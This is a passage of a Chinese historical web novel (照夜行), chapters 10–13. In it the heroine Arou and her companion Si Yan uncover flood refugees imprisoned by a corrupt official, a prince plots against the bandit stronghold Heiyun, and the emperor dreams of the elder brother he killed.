阿柔不知道他哪只眼睛看出来自己心神不宁,但又的确有件事情横在心头许久,正无处发泄,便顺势说道:“数月前,附近的闵川发了一场水灾。朝廷虽然及时派去官员赈灾,但还是收效甚微。灾情过后,房舍倒塌,田地荒芜,许多流民向西部迁徙,其中有一部分便来到了烟云四州这一带。我前些日子经过此地,官道两旁都是无处可去的闵川流民,他们大多衣不蔽体、神色凄怆。长途跋涉已经耗尽了他们身上所有的盘缠,但烟云四州城门紧闭,拒不接收,无异于切断了他们最后的退路。那副饿殍满地、哀鸿遍野的场景……令人此生难忘。” 司言收起了调笑的神情,轻轻叹了一口气,“阿柔,你觉得,烟云四州应当敞开城门,接收这些流民吗?” 阿柔沉默了,过了良久才说道:“我不知道。” 这倒让人有些意外。虽然接触时间不长,但司言知道,阿柔是个有想法且立场坚定的人,很少会有让她难以判定的事情。 似乎是感觉到了司言讶异的目光,阿柔瞥了他一眼,解释道:“我虽然讨厌祁照,以及所有不作为的官员,但我总也知道,一座城池所拥有的物资是有限的。若是放任流民入城,对于城内原有的百姓又是一种灾难。可是……可是我亲眼看到,那些面黄肌瘦、骨瘦嶙峋的人,竟会为了一个饼,而将自己的孩子转手卖给别人。我就觉得,觉得……” 阿柔的声音越来越小,说到最后,连声音也染上了几分颤抖。 司言也没有说话,空气就这样突然静默,只剩下有规律的马蹄声。 “我想指责他们仅仅为了两口饭而丢弃自己的孩子,但当我准备开口的时候,突然意识到。如果没有这两口饭,他们就要饿死了。”阿柔吸了一口气,抿起唇,极力地克制着翻涌的情绪,“我不能劝他们去死。” 司言知道,以阿柔的性格,在看到流民遍野的惨象时,必不可能视而不见。但他更清楚,这样的悲剧根本不是靠悲悯和施舍就能解决的。她所作出的一切努力与改变,注定会溃不能防,化为虚无的泡影。 “阿柔。”司言说道,“你我本是尘世中一浮萍,蚍蜉又何以撼动参天大树?你常年游历四方,便该知道,这个世界上许多地方,根本不像京城长祈那般繁华富足,痛苦、无奈、遗憾、愤恨,这些才是世间常态,你根本救不了所有人的。” “我知道。”阿柔十分平静地答道,“我没那么不自量力,也没觉得自己有资格去救所有人。只不过偶尔也想找个人发发牢骚罢了。你不乐意听,我下次不讲了。” “怎么不乐意听?”司言一扫脸上凝重的神色,跃跃欲试道,“我求之不得呢。” 阿柔轻哼一声,说道:“油嘴滑舌。” “此言差矣。”司言辩驳,“那只会耍嘴皮子的才能叫做油嘴滑舌,我却是句句真心。” 阿柔一时语塞。不过经过他这么一打岔,心中笼罩的阴霾倒是散去了不少,“说到闵川的流民,来阳到苔州这一路上倒是没见着。如今行至苔州地界,依然未见半分人影。莫非是烟云四州的官员终于出手安置流民了吗? 10. 荒宅 《照夜行》全本免费阅读 司言对于阿柔为男孩出头的行为并不感到意外,帮忙清散了围观的人群,医馆门口总算恢复了平静。 郎中轻叹了一口气,招了招手,让几个人进来说话,“既然这位姑娘肯帮你,待我收拾好,跟你去一趟就是了。” 小男孩眼前一亮,又磕了几个头,“谢谢大夫,谢谢大夫!” 郎中无奈地轻哼一声,“小祖宗啊,我可担不起你这句谢,要谢便谢这位替你付诊金的姑娘吧。” 男孩似乎觉得很有道理,转向阿柔,又要再拜,却被司言一只手轻轻松松地拎了起来,“男儿膝下有黄金,哪能这样说跪就跪呢?你快起来吧。” 男孩谢了又谢,总算是站起来了。 司言拽了拽阿柔的袖子,用手遮着嘴在她耳边低声道:“要不要跟过去看一看?我听这孩子的口音不像是本地人。” 阿柔几乎是在一瞬间就明白了司言的意思,与他对视了一眼,果断地说道:“去。” …… 郎中收拾好药箱,闭了店。几个人一道跟着男孩走了。 男孩在前方带路,路线却越来越偏,直接从闹市中心绕到了黑灯瞎火的无人街区,路上连只鸟都没有。 凉风阵阵袭来,郎中打了个寒颤,疑惑地说道:“这一片不是早就没人住了吗,你确信是这里?” 男孩点了点头,“前面拐一个弯就到了,只不过待会儿进去的时候可能得委屈您一下。” 郎中:? 怎么感觉越听越不靠谱了。 他心中有些不好的预感,想要扭头就跑,但替人付钱的那两个人看起来显然相当不好惹。郎中吞了吞口水,还是将逃跑的念头压了下去,心道:大不了待会儿多要点诊金,我就不信真能出什么事…… “喏,到了。”男孩停了下来。 “到了?”郎中睁大眼睛,视线在面前这堵墙上环绕许久,一副难以理解的样子。 直到他看到男孩正对着墙蹲了下来,从一个极小的狗洞里钻了进去。 郎中:“……” 现在逃走还来得及吗??? “为什么不能走正门?而且这个洞这么小,你倒是轻轻松松就进去了,我呢?”郎中没忍住暴躁地喊道。 男孩从洞里探出一颗圆润的小脑袋,慌慌张张地将食指比在嘴唇前,“小声点,小声点。” 话音刚落,就听到不远处传来脚步声。 司言反应极快地候在转角处,刚与来人打了个照面,就直接将他劈晕了过去。定睛一看,这人一身甲胄,俨然是官兵打扮。司言回身冲阿柔使了个眼色。 郎中确信自己摊上了一件麻烦事,慌张道:“这里莫不是关着官家抓的犯人吧,那我可没那个胆儿给她治病。” “哪有犯人被关在这种废弃民宅的。”阿柔瞥了他一眼,扶额道。 “各位爷,诊金我不收了,要不……啊!” 未等他说完话,阿柔直接揪着他的领子,足尖一点,轻而易举地从墙上翻了过去,随后稳稳着地。 从来没练过武的郎中突然尝试了一次凌空飞起的感觉,落地之后久久惊魂未定,腿一软,直接向前扑到在草地上。 司言也十分利落地翻了过来,顺便把刚才劈晕的人也扔了进来。 “你小声点,待会儿我付你十倍诊金。”阿柔说道,“你放心,官府既然把人关在这种偏远之地,而非官衙大牢,就说明他们心中有鬼,绝对不可能主动去找你的麻烦。” 郎中知道凭他的本事很难再翻墙出去,认命地站起身来,硬着头皮继续跟男孩走。 这间宅院显然荒废已久,四处都布满了灰尘,空气中扬起的尘埃呛得几个人咳嗽连连,但又不敢发出太大的声音,憋得满面通红。 好在宅院并不大,三步两步就到了男孩所指的那一间房,烛火影影绰绰、忽明忽灭,似乎随时都有可能消失不见。 男孩推开了门。 几个人还未进去,就被其中的场景震惊得不能言语。 原本就狭小的房间,竟然硬生生地挤了几十个人。他们横七竖八地躺在草席上,衣衫破烂、神情麻木,因为空间窄小而不得不身躯交叠。空气中弥漫着一股难以言喻的酸臭味,让人闻之作呕。 “大夫快来,我娘亲在这儿。”男孩招呼道。 此话一出,房内所有人都悚然一震。刚才还麻木得宛如一群行尸走肉的人,双目发亮发红,像恶狼扑食一般迎了上来。 “大夫?谁是大夫?” “大夫,救救我儿子吧,求求你。” “先看我爹,我爹就剩一口气了。” 小男孩一下子就急了,“你们干嘛?大夫是我偷偷溜出去找来的,应该先看我娘啊。” 他迫切而无助的声音很快就隐没于一声声求救中。 房内的声响太大,很快就引来了守在外面的剩余四个官兵。他们大老远就看见房门口站着几个从未见过的人,俱是一愣,提着武器上前来准备盘问情况。 不多时,四个官兵全被撂倒在地,晕过去了。 刚才还吵嚷成一片的人们顿时噤了声,眼中只剩下了惊惧与惶恐。 阿柔耳边总算是清净了一些,满意地环顾一周,说道:“都说完了吧?” 没有人敢应答。 阿柔全然不知自己这副不怒自威的样子有多吓人,继续道:“要治病的,一个一个来,不过那孩子不顾危险逃出去才把我们找来,理应先给他娘亲看病,没有疑异吧?” 依旧没有人作声。 “好,看来都没意见。”阿柔转而看向站在一旁瑟瑟发抖的郎中,“我替他付诊金前也没料到会是这种情况,待会儿您替他娘看完病后,若是不想留,便先离开吧,但是我想借用一下您的药箱,到时自会归还。” 当初阿柔在云影山上学艺时,除了武功,还学了一些医术。虽然离妙手回天的境界还差得远,但应急总是够用了。 郎中看了一眼房中的惨象,几十个人眼巴巴地望着他,卑微地期待着,看得他起了一身的鸡皮疙瘩。 他长叹了一口气,“罢了,反正今日之事也无人知晓,我便破这一次例吧。” “多谢。”阿柔郑重地向他躬身行了一礼。 “不必多谢,我非是在帮他们,只是到底过不去心中那个坎儿罢了。”郎中无奈地说道。 分工之后,郎中和阿柔两个人便挨个给屋内的人治病,而司言则是蹲守在官兵身旁,一旦发现马上就要醒过来的迹象,就再给他们一掌。他甚至还把晕在外面的那个也拎了过来一起看管。 司言并未在原地干坐着,而是凭借他一副亲切和蔼的面孔,以及邻里四舍都甚为受用的唠嗑本领,从屋内人的口中套出了许多有用的消息。 他们正是从闵川一带逃来的流民,奔波千里而来,却并不受苔州官员和百姓的欢迎,甚至紧闭城门,放任他们自生自灭。虚无缥缈的希望支撑着他们一路走来,却又狠狠地抛弃了他们,而他们已经没有精力再去奔赴下一场不见天日的逃亡了。 一些年轻而精力旺盛的人见城门久久不开,便率先离去了。他们不知道自己会不会就这样饿死在路上,但又毫无办法,只能这样漫无目的地继续向前走着。 就在前几天,城门毫无征兆地敞开了。官兵将城外剩下的流民引入城中,还给他们收拾出了一座宅院。他们欣喜万分,紧紧相拥在一起,以为自己终于守得云开见月明,以为烟云四州的官员不会再放弃他们。 谁知后来的发展,却和他们想象的相差甚远。 官兵将他们关在这里,禁止随意出入,每天定时定点送来一些残炙冷羹打发他们,就连生病严重到快要死掉也根本无人在意。 说到最后,屋内啜泣连连,氛围一片凝重。 阿柔深深地吸了一口气,只觉得手都在颤抖,眼角也微微泛红。 她可以理解苔州官员不愿接收流民入城的心理,但既然一开始就没打算施与他们善良,又为何要给他们希望? “原来如此。”司言长叹了口气,走到阿柔身边,耳语道,“柳如周专门挑了一处荒废民宅囚禁城外流民,不是因为享受给予希望又将其摧毁的这种变态的快感,而是因为承王殿下来了。” 阿柔何等聪明,立刻就会了意。 承王奉命剿匪的消息人尽皆知,柳如周早已计算好承王到达的具体日期。苔州远离京城,又有祁照在此地一手遮天,以至于连圣上都难以掌控此地的具体情况,圣上必然会借此机会命承王替他探查民情。因而,柳如周万不能让承王看到城外流民遍地的模样,将闵川这笔帐算在他的头上,于是想出了这么一个馊主意,把剩下的流民一齐关在荒废民宅里。 至于这样的做法会给流民们带来怎样的伤害,就不在他的考虑范围内了。 阿柔垂下眼帘,神情晦暗。 司言知道,她正在慢慢消化自己的情绪。为了让自己的情绪不在外人面前显露,她习惯了等到稍微平静一些的时候,才会继续开口说话。司言并未催促,耐心地等候着。 “如果我们没有在路上遇到那个孩子,没有带着大夫找到这里来,他们饿死了病死了都没人知道。”再抬头时,阿柔眸色冷凝,眼角残留的红色仍旧依稀可见,但她还是忍住让自己的声音不再颤抖。 只是,她突然觉得很疲倦,四肢上下都充斥着深深的无力感。她是在万千宠爱中长大的孩子,过去十八年经历的黑暗加起来都没最近几个月看到的多。 都道大昭国力强盛,却不知所有的阴暗与罪恶都发生在不为人知的角落里,上位者永远沉溺于粉饰太平的美梦中。 “祁照和柳如周不会只手遮天太久的。”司言声音放得很轻,轻柔地宛如一阵微风从耳边拂过,“明日,我就去劝承王来这里要人。” 阿柔猛地看向他,有些惊讶,低声说道:“承王会答应吗?剿匪之业未成,提前和柳如周撕破脸皮可不是什么好事。而且……你,你不是承王的人吗,不是应该事事为他考虑吗?” 司言失笑道:“阿柔,我不是与你说过了吗?我和承王是合作互利的关系,又没签过卖身契,怎么便成他的人了?你可莫要说这些容易让人误会的话。” 阿柔撇了撇嘴,心道:明明这种让人误会的话,你也没少说。 司言看了一眼倒地不起的官兵,“我们已经打草惊蛇了,若是不尽早找他们要人,只怕柳如周那老家伙还会把人挪到别的地方去,最后再反诬我们信口雌黄,我们也没有证据自辩清白。况且,这些流民已经经不起折腾了……” 11. 处子 《照夜行》全本免费阅读 “柳如周,你好大的胆子。” 深夜,苔州府衙烛火通明。李晁奚正坐其上,居高临下地看着瑟瑟发抖的柳如周。阿柔和司言云淡风轻地站在厅堂侧边,只有衣袍上的脏污和裂口显示出他们刚才经历了一场缠斗。 柳如周听手下来报说废宅那边有异常,便派出府兵前去查看情况。令他没有想到的是,侧边站着的这两个人竟然将他的府兵全部放倒了,更倒霉的是,这件事情还惊动了承王殿下。 刚才还在宴会上笑意逢迎的两个人,转眼间就针锋相对起来。 “殿下息怒!只是下官愚钝,实在不知何罪之有。”柳如周狡辩道。 “你作为苔州父母官,囚禁良民,不顾他们死活,竟然还不知错在何处?”李晁奚猛地一拍案堂。 “下官从未做过此等荒唐之事,还望殿下明察。” “宅院中的所有流民皆指认你,你如何狡辩?” “殿下,流民一面之词,如何能信?”柳如周说道,“下官身为苔州知州,自然事事要为苔州百姓着想,因而不愿接收闵川流民。可谁知他们私自入城,偷占废弃民宅,如今还要信口雌黄污蔑于下官,实在冤枉!” 李晁奚听着这番漏洞百出的辩驳之辞,心中冷笑,面上却呈现出恰到好处的惊讶,略微睁大了眼睛,“竟有此事?” 柳如周见他神情有所松动,心中大喜过望,继续说道:“下官之心,天地可鉴,万不敢有半句虚言!” “胡说八道!”司言适时地上前一步,指着他说道,“若不是心中有鬼,你又为何派人镇守在宅院门口?” 柳如周瞥了他一眼,“这位公子,我不知你为何睁眼说瞎话,一口咬定是我囚禁了那些流民。但我从未派人镇守在那里,被你打晕的那人,今夜也只是恰好在附近巡逻。我倒想问问,你与他既无肢体上的冲突,又为何无故将人打晕?心中有鬼的究竟是谁?” “你!你强词夺理!”司言一副被气得无语凝噎的样子。 阿柔差点笑出声来。 李晁奚的视线在这两个人身上徘徊,似乎颇为头疼,紧接着看向阿柔,双眼一眯,声音变得格外轻柔,“这位姑娘,你可否说说当时的具体情况?” 阿柔嘴角一抽,心道:这里面还有我的戏份? “呃,那个……”阿柔绞尽脑汁组织措辞。 谁知司言猝不及防地将她揽入自己的怀中,不客气地说道:“殿下,这位是草民的内子。” 阿柔睁大了眼睛:谁是你的内子??? 司言冲她使了个眼色,阿柔只能对李晁奚挤出一个温良贤淑的微笑。 李晁奚差点被呛到,但依旧保持着很好的表演素养,佯装发怒,“本王没让你说话!” 柳如周一见这副情景,心道:莫非承王是看上这位姑……呃不,夫人了?世人都说五皇子李晁奚是个草包,果真不假。 如此一来,他只需要稍稍利用一下承王的好色,在中间搅搅混水,挑起承王和人证的矛盾,自然就能将囚禁流民的事情轻松盖过了。 在场的几个人各怀心思,演了一出大戏,最终承王一口断言柳如周是个为国为民的好官,只不过是被人污蔑陷害,才蒙受如此委屈。 为了验证承王之言,柳如周特地为流民们安排了住处,又十分肉疼地从私藏小金库里拿出一部分来,在城内施粥七日,这件事就算暂时揭过去了。 事实上,承王远不可能满足于这样的处理结果,只是在彻底剿灭黑云寨之前,他还需要柳如周帮忙。 不管是祁照还是柳如周,他们迟早会为了自己的行为付出代价。 那一天,也不会等太久了。 …… 李晁奚到底是没有怪罪他们的莽撞。毕竟,若他们没有发现被囚禁在荒宅的流民,只怕会酿成悲剧,也无法抓到柳如周这么大一个把柄。烟云四州官场风气不正,阴暗恶劣,待承王回京之后,必然要向圣上好好禀报一通。 只是,为了维护和柳如周表面上的和平,他们临时发挥演了一出戏,司言和阿柔自然不可能光明正大地跟在承王身边了,便由陈焕在中间负责联络,再找机会共同商议对策。 苔州府衙内有一处院落,是专门为了接待京城派来视察的官员而修的。承王来到苔州之前,柳如周就找人将院内上上下下打扫了一通,干净得一尘不染。房内四周摆满了形形色色的奇珍异玩,看起来价值不菲,讨好之味十足。 不过柳如周的算盘到底还是打错了。一来承王并没有收藏古董珍玩的癖好,二来他正愁找不到柳如周贪污受贿的证据,而柳如周竟然直接把证据送了上来。就好像一条鲜嫩肥美的鱼,刮掉自己的鳞片,主动跳上砧板一样好笑。 与此同时,李晁奚又不免有些唏嘘。像柳如周这样无才无德没脑子的人,只因为善于奉承,就能轻而易举地在一州之长的位置上干得如鱼得水,而张知州这种真正心系百姓的好官,却因为过于刚正而落得家破人亡的下场。 李晁奚站在窗前,看着天边残缺的月亮,不自觉地攥紧了拳头。 人人都说,那个人是大昭百年来最雄才大略的一位皇帝,开创了前所未有的盛世。可剖开华丽的皮囊,却只能看见扭曲恶心的蛆虫。太平年代,仍然有许多不为人知的罪恶日日上演,仍然有无家可归的百姓四处漂泊,仍然会有人为了填饱肚子而卖掉自己的孩子。 若有一天,他登上了那个至尊之位,真的就能做得比那个人更好吗? 思绪翻涌之间,李晁奚突然看到有几个身影从院外轻松利落地翻了进来,甚至连一点声响都没发出。 “陈将军明明可以光明正大地从大门进来,却非要与我们一起翻墙,莫非是有什么特殊的癖好?”司言开玩笑道。 “军中重情,患难与共,你不懂。”陈焕面无表情地解释。 司言原本还想再调侃两句,但见李晁奚在房门口相迎,也不不好意思再多说废话。几个人一同进了房间。 “我今日看过苔州府衙的卷宗了,关于黑云寨的基本情况,除了更为详细一些,与来阳记载的差不多,柳如周很难这上面动手脚。”李晁奚示意几个人坐下后,开门见山地说道,“阿言阿柔说的那件事,我也去查了。黑云寨近日来确实一直在掠夺良家女子,光是苔州一处,失踪女子的数量就已达十五人。这里有一份失踪者的名单。” 司言接过名单,扫了一眼,说道:“这份名单并不齐全,若算上黑云寨从城外流民堆里掳掠的女子,只怕数量还要再翻上一倍。” 陈焕皱了皱眉头,“他们到底想做什么?” 此话一出,众人都沉默了。 一个女人被掳掠至作恶多端的土匪窝里,不用想也知道会遭遇什么样的事情。 阿柔从进门以后就一直没有说话,紧紧地抿着唇,右手不自觉地攥紧袖口,将那一小片布料都掐皱了。就在这时,她感觉到指尖传来柔软的触感,低头一看,一只指节细长的手掌覆了上来,携着细腻温和的暖意,将她的拳心包裹住。小小的心脏蓦然间就被涌入的暖流填满了,泛起阵阵细密的酥麻,让她不自觉就松开了双手。 在感受到阿柔状态略微松弛下来后,司言适时地抽离了那只手,但又仍有些不放心,极轻地抚了抚她的后背。阿柔的右手残留的温度提醒着她,刚才片刻的肌肤相触并不是她的错觉。 司言的表情从始至终都没有什么变化,以至于承王和陈焕都没有注意到这边的小动作。 陈焕察觉到自己有些明知故问,挠了挠头,说道:“末将是觉得,这个人数实在惊人,有些蹊跷。” “这件事应该和黑云寨上那两个奇怪的道士有关。”阿柔淡淡地说道,“我和司言在城里打听过了,此二人上个月曾在苔州待过几天,因为穿着打扮特别,很多人都对他们有印象。他们走后没两天,黑云寨就突然开始大肆掳掠良家女子了。” 她的声音很平稳,已经从刚才的情绪中缓过来了。 李晁奚点点头,“那就对上了,他们应该是离开苔州后就去了黑云山。” 司言从袖中取出一幅卷轴,在桌上铺展开来,“殿下,这是我通过苔州百姓的描述作的画像。” “有劳阿言。”李晁奚说道,“我立刻就派人去寻。” “殿下,这样漫无目的地找人,耗费时间巨大,而且他们很有可能还在黑云山上没有走,找到的可能性就更渺茫了。军中每日开销极高,恐怕禁不起如此消耗。剿灭黑云寨一事,不能寄希望于这两个道士。”阿柔提醒道。 “阿柔说得对。”李晁奚赞成道,“柳如周承诺会为军中将士提供部分物资粮饷,但时间一长,恐怕难以为继,须得速战速决。” “柳如周只是管理苔州事务的官员,能提供的助力有限,殿下为何不去寻真正掌握西南兵权的祁照呢?”司言冷不防地说道。 陈焕睁大眼睛,“祁照?黑云寨能发展壮大到如今的地步,逼迫朝廷派兵清剿,全因祁照与其勾结、以权谋私,他怎么可能反过来帮我们?” “他必须得帮。”司言肯定地说道,“殿下初来乍到,人生地不熟的,又没有领兵打仗的经验,去找烟云四州军务统领宣睿侯帮忙才正常的。” 见陈焕还是有点茫然,司言无奈地多说了几句,“殿下在祁照和柳如周面前有意示弱,便是为了让他们放松警惕,产生能够轻而易举掌控殿下的错觉。祁照本是 12. 仙君 《照夜行》全本免费阅读 李钰睁开双眼,神思恍惚,只觉浑身上下飘飘欲仙,几欲乘风归去。 待目光再清明一些,却被眼前之景所震撼了。他当了二十三年的皇帝,也从来没有见过这样的景象。 他的脚下是虚无缥缈的云雾,绵延千里不绝。远处的一排仙鹤,正环绕着高耸的金箔宫殿翻飞起舞。娇俏动人的小仙娥三两成群,手提琉璃灯盏,说说笑笑地穿过高高的石门,踏上通往仙宫琼楼的白玉阶,白璧在日光的照耀下熠熠生辉、炫彩夺目。白衣长袍、纤尘不染的仙人乘云而行,构成一幅瑰奇又艳丽的奇景。 李钰眼睛都看直了,身体不可抑制地颤抖起来。 这便是人们所说的仙境! 他兴奋地向前走去,好像一瞬间年轻了二十岁,重新恢复了活力与热情。他不知道自己为何会来到这里,只觉得皇位在仙境面前也成了不值一提的东西。只要能留在这里,他愿意立刻放弃俗世中的一切荣华富贵。 李钰漫无目的地在宫阙仙阁之间打转,恍惚之间进入了一片枝繁叶茂的园林。 拿着剪子修理花枝的宫娥看向他,怪道:“咦,哪里来的凡人呀?莫非是我家仙君请来的客人吗?” “你家仙君?” 宫娥掩着嘴笑了一声,“就是镜凌仙君呀!你瞧,他来啦。” 李钰朝着她所指的方向望去,突然瞪大双眼,浑身战栗颤抖起来,腿一软,直接跪倒在地。 小宫娥蹦蹦跳跳地来到镜凌仙君身前,“仙君!这是你的客人吗?咦,他这是怎么啦?” 镜凌仙君看着李钰,神情讶异,又有几分凄怆,对小宫娥说道:“故人来访,我该同他说说话的。” 待打发走小宫娥后,镜凌仙君走到李钰面前,居高临下地看着他,良久,叹了一口气,“三弟,好久不见。” “你,你,你真是皇兄?!”李钰不可置信地道。 怎么可能?皇长子李焱在二十三年前就已经死了!并且是他李钰亲自带兵围了东宫,以“清君侧”的名义,将长剑刺入他的胸膛! 莫非,莫非是皇长兄来找他索命了? 想到这里,李钰大叫着后退了几步,惊惶万分地看着他。这张熟悉的脸,甚至比李钰记忆中更为年轻俊美几分,像是他二十多岁时的样子。 “我不会对你怎么样的。”李焱的声音很轻柔,也很平淡,“人间帝子这一世,对我来说,早已是前尘往事。若真有什么遗憾,也就只有我那个还没来得及见一面的孩子罢了。” 李钰的身体已经抖成了筛糠,不住地朝李焱磕着头,“皇兄,仙君!你饶了朕……不,饶了我吧!是我有眼不识泰山,不知您竟是天上的神仙,否则,我便是有一百个胆子,也不敢对您心生歹念啊!” 李焱摇了摇头,无奈地道:“三弟,一直以来,是你自己作茧自缚、固步自封,所以你该求的也不是我,而是你自己。但你知道吗,三弟,直到今天,我还是很怀念当年与你在京郊策马同游、把酒言欢的日子。” 李钰一惊,突然之间,眼前的一切都在震荡崩塌,云烟缭绕的仙宫顷刻间化作断壁残垣。他脚下一空,一边惊叫一边下坠,坠入了无边无际的黑暗之中。 “啊!” 李钰猛然从柔软的床榻上坐起身来,大口大口地喘着粗气,头痛欲裂,眼前一阵天旋地转。 “陛下,您怎么了?”熙贵妃被这动静吵醒,也坐了起来,见他神色惊惶,有些担忧地道,“臣妾去给您传太医。” 熙贵妃只有二十多岁,样貌惊为天人,入宫时日很短,却宠冠六宫,没有任何嫔妃能比得上她。 李钰听到熙贵妃轻柔的声音,仿佛抓住了一根救命稻草,将她紧紧抱在了怀里。 “陛下?”熙贵妃伸出手,抚了抚李钰的后背。 “怎么办,皇长兄原来是天上的神仙,他来找我了!怎么办,怎么办……”李钰颤抖着,说到最后,只会来来回回重复着一句话。 二十三年前,李钰发动兵变,杀兄逼父,这才坐上了至尊之位,人人对此心知肚明,但又从来不敢在明面上提起。因而,先太子李焱在宫中一直都是一个禁忌。 熙贵妃心中一惊,“陛下,这都是梦而已,您一定是最近政务繁忙,累到了。臣妾让太医给您开些安神的药吧。” “不是梦!我亲眼见到的!”李钰抓住熙贵妃的肩膀,“皇长兄说他还有一个孩子,可是怎么可能呢?他明明,明明已经绝后了啊……” 熙贵妃只觉得他在说胡话,但还是哄道:“陛下,四境之内,谁人不知我大昭天子的威严?自您即位以来,国力越发强盛,百姓无不对您歌功颂德,就连边境蛮夷之族也都对您俯首称臣。如此功绩,纵观青史,几人能及?臣妾想,先太子若看到这盛世太平的模样,定然也会倍感欣慰,不忍苛责了。” 在熙贵妃的安抚之中,李钰一点一点平静了下来。但梦中与皇长兄相遇的那一幕却始终刻在脑海里,怎么也挥之不去。 …… 阿柔坐在客栈后院的池塘边,百无聊赖地扔石子儿玩。 扔着扔着,有人轻轻拍了一下她的后背。阿柔一回头,司言正站在她的面前。 “事情都办完啦?”阿柔站起身来问道。 “有公子我出手,什么事儿不是手到擒来?”司言大言不惭地道,“我以招安为诱,说服黑云寨周边六个小匪帮联合剿灭黑云寨。这几个当家人中,有不少黑云寨前首领的旧部,因不满陈松统领而叛逃,一心为旧主报仇。他们可以联络到黑云寨中同样对陈松有异心的部下,到时与我们里应外合,必能一举拿下黑云寨。” 阿柔点点头,视线却没有看他,有些别扭地道:“那就好。” 司言愣了愣,脸上的表情有一瞬空白,敛去了张扬的神情,抿了抿嘴唇,小心翼翼地说道:“你还生我的气呢?” 阿柔立刻抬头看他,摇了摇头,“没有生你的气。” 司言将视线落在了她手中的一把石子上,“那你这是?” 阿柔慌忙把手背过去。 司言终于没忍住笑出了声,“好啦,我知道阿柔大度,不与我计较。但我还是要与你道歉。” “道歉?”阿柔垂下眼帘,小声嘟囔道,“你道什么歉啊?” “不管我是否赞同你的想法,都不该用那般恶劣的语气将它贬得一文不值。”司言诚恳地说道,“而且,我还一不小心在陈焕面前说破了你的身份,这就更不应该了。不过你放心!陈焕是个管得住嘴的,我嘱咐过他不要到处向别人讲了。” 什么啊,这个人竟然真的一本正经地找她道歉。 “我没怪你,也知道那天是有点异想天开了。”阿柔低声说道,“但是……我不是为了逞英雄……” 司言一怔,终于明白,阿柔根本不是因为他否认了那个想法而生气,而是一直惦记着他说过的话—— “你身为将门之女,难道不知道战场根本不是你抒发英雄情结的地方吗?行军打仗怎能逞一时之孤勇?” 想到此处,司言难免有些不好意思,“对不起,我……” 阿柔听到他的道歉,头都要大了,连忙用双手按住了司言的嘴,“你不要再道歉了!我没有那么矫情!” “唔……?”司言的嘴被她堵着,露在外面的一双眼瞳睁得大大的,夹杂着几分疑惑。 阿柔松开了手,“反正你别道歉,你又没……” 话说到一半,她突然停了下来,盯着司言的脸。 司言更疑惑了,“怎么了?” 只见阿柔脸上表情风云莫测,嘴唇狠狠地抿了起来,却又不自觉地向上扬。她憋笑憋得浑身发抖,到最后终于忍不住大笑起来。 “哈哈哈哈哈哈哈哈!” 司言:? “到底怎么了?”司言疑惑不已。 “你,你的脸,哈哈哈。”阿柔笑得上气不接下气。 司言走到池塘边照了一下,只见他下半张脸沾上了一层灰,像个花猫一样,与干净整洁的上半张脸形成了鲜明的对比。 而留下痕迹的罪魁祸首正在他面前放肆大笑。 司言无奈地看了一眼阿柔那双因为抓过石子而脏兮兮的手,本想佯装生气,板着脸教训几句,只是刚一开口,到底还是没忍住和她一同笑了起来。 “这有什么好笑的啊,阿柔!” “你明明也在笑啊。” “……” 这是司言第一次见阿柔笑得这么开心,竟然仅仅是因为如此简单幼稚的一件事。他想到初相识时,这人总是板着一张脸,两人针锋相对,谁也不相信谁。直到后来,司言请她在 13. 布阵 《照夜行》全本免费阅读 黑云山地处苔州和充州的边界,行军半日即可到达。 陈焕身披铠甲,骑着战马,行于队伍的最前端,悄声对身旁的司言道:“你们又出什么主意了?殿下和戚小姐为什么穿成那个样子,还……还那么亲密……” 司言的脸色稍微沉了一下,“阿柔的身份,你没往外说吧?” 陈焕连忙摇头,“你和殿下都不让我跟别人说,我当然不可能多嘴了。” “那就行。”司言回应起刚才那个问题,“殿下好不容易演一次草包皇子,总不能只演给自己人看吧?这是演给黑云寨的人看的。” 陈焕似懂非懂地挠了挠头,“哦……那我能不能再问个问题?” “嗯?” “为什么不能让别人知道戚小姐的身份?”陈焕问。 “嗯……”司言绞尽脑汁地想了半天,最后只蹦出几个字来,“不好说。” “啊?这,这么复杂吗。” “不是。”司言抱歉地看了他一眼,“是不知道怎么解释才能让你听懂。” 陈焕:“……” 景西王名震西北、军功赫赫,是世人眼里的不败战神,是当今圣上又倚赖又忌惮的存在。景西世子戚思辰也是难得一遇的将帅奇才,在军中颇有威严。不仅如此,若非次子戚思彦因幼时中毒而体弱多病,必然也会在战场上大放异彩。若圣上得知,景西王就连这个一直以来游历四方的幼女也有将帅之才,甚至助承王剿灭了黑云寨,只怕又要对王府心生猜忌。 没过多久,浩浩荡荡的军队行至黑云山下,在空地安营驻扎。 当晚,承王在主营帐中排兵布阵、交代战术。 “张斯,你带着两百人守在后山,一有人从山上下来,立刻抓获,带到营里来。”承王还穿着来时那身宽敞的衣袍,显得风雅之极,一点也不像是行军打仗的装扮。但他举手投足间散发的沉稳的气质,让人分外信服。 “是!”被点名的那位将领抱拳应道。 “陈焕,明日你先带着三分之一的兵力上山。” 陈焕不解,“殿下这是何意?” 承王回道:“黑云山易守难攻,就算我们倾力而出,也很容易吃亏。我并不是真的要你靠这些兵力一举杀上山去,拿下黑云寨,而是让你故意被打退。” …… 黑云山脚下,几百个营帐,升起篝火,在夜色之中,铺成一条光芒炫目的长河,让人忘记此时此刻身在夜晚。 阿柔坐在高大的树上,凝望着不远处的万千营火,看着营中上下无不为了明日的行动而兴奋不已,连带着她的心头也燃起了一股热血。 这些从京城来的士兵们,大多没有什么实战经验。天下统一的安稳年代,没有什么让他们建功立业的机会。他们日复一日地在营地训练,心中一直憋着一股劲儿,需要一个机会大放异彩。 不自觉间,阿柔就回想起十岁以前,生活在西境宛阳城的日子。那时候,赫月族的野心还没有翻到明面上来,西境仍然保持着表面上的和谐与宁静。 景西王妃花轻雪是云影派花掌门的妹妹,也是江北医药世家掌门人孙圣手的外甥女。据说当时戚叶临在宸光殿外跪了一整宿,才让皇上同意他娶一个民间之人做王妃。 景西王妃温良贤淑之名举城皆知。她身居王妃之位,却从不自视过高,像个普通的街坊邻居一般,与宛阳城的百姓们打成一片,甚至还经常出面帮别人调节家庭问题。王妃会在农忙时节亲自下地帮忙,也会在漠漠寒冬之日,带着全城的妇女为边境将士们缝冬衣。 阿柔小时候去军营的机会并不多,仅有的几次,是阿娘带着下人去给军营送东西,顺便把她捎上的。 全营上下的将士们没有不喜欢她的,纷纷说等将来娶了老婆,也要生个这么漂亮可爱的女儿。每当这个时候,阿爹总是一把抢走自己被团团包围住的小女儿,将她架在自己的肩头,然后毫不客气地对手下人说道:“你们做梦去吧!” 彼时的阿柔还不到十岁,听到所有人都夸她又可爱又漂亮,心里面得意洋洋的,脖子都快仰到天上去了。 